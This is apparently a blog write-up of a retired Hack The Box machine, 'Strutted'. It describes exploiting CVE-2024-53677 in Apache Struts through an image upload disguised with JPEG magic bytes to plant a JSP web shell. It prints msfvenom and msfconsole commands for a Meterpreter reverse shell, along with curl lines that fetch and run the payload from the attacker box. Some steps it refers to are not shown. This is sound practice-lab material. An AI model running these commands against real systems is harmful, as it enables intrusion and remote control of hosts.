Strutted Writeup
Machine Name: Strutted
Difficulty: Medium
Release Date: Retired
IP Address: <IP>
I started off with a full port scan:
Only two ports open:
22/tcp open ssh
80/tcp open http
Port Scanning:
But what really caught my attention was the HTTP service not following the redirect, so I just opened it in my browser and saw it took me to http://strutted.htb.
Web Enumeration:
So the website lets users upload images to share with friends. There’s also a link in the navbar to download a Docker container, which basically gives you the source code. I kind of figured downloading the source would make it way easier to find a vuln — and I was right.
I found this file: Upload.java, and here’s where it checks:
- File extension: only jpg, png, gif allowed
- Content-Type: must be image/* type
- Magic bytes: it actually checks if the first few bytes match a real image
There’s also a struts config file (struts.xml) that sets allowed extensions:
There’s a flaw in the website ie when you click on the download functionality it download a file: strutted.zip in your kali machine. You will the hardcoded credentials and version of the file when you extract the zip file.
Extract ZIP → check files:
- pom.xml: shows Apache Struts2 6.3.0.1
- Dockerfile: uses Tomcat9 and OpenJDK 17
- tomcat-users.xml: hardcoded credentials found
Finding the Vulnerability:
I Googled around for Apache Struts 6.3 vulnerabilities and came across this PoC for CVE-2024–53677, which matched exactly with what I was looking at.
This exploit kind of lets you control where the uploaded file gets saved, including setting the filename and path — even if the extension is filtered.
Getting the Webshell:
Get Shagun Garg’s stories in your inbox
Join Medium for free to get updates from this writer.
I cloned the repo and tested it like this, but used BurpSuite to catch and modify the request:
In /etc/proxychains4.conf I had:
http 127.0.0.1 8080
In Burp, I modified:
- Content-Type to image/jpeg
- prepended JPEG magic bytes (FF D8 FF) to the .jsp shell using a hex editor
After sending the request, I got a “Image Upload Successful” message!
Getting a Proper Reverse Shell (Meterpreter Style)
After popping a shell as adam, I kind of wanted something more stable. The earlier meterpreter web shell wasn’t persistent (it basically dies after one interaction), so I switched gears and generated an actual Meterpreter ELF binary instead
On my attack box:
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=9001 -f elf -o shell.elf
python3 -m http.server
I also fired up the handler:
sudo msfconsole -q -x “use multi/handler; set payload linux/x64/meterpreter_reverse_tcp; set lhost <IP>; set lport 9001; exploit”
Then, from the web shell:
curl http://<IP>:<PORT>/shell.elf -o /tmp/shell.elf
chmod +x /tmp/shell.elf
/tmp/shell.elf
And bam — caught a Meterpreter session 🎯
Finding Creds in Tomcat Config:
Once inside, I poked around a bit and found a juicy config file, and from there i got james password and did ssh into that.
Privilege Escalation via tcpdump
Logged in as James, I ran the classic:
And that was root! ☠️





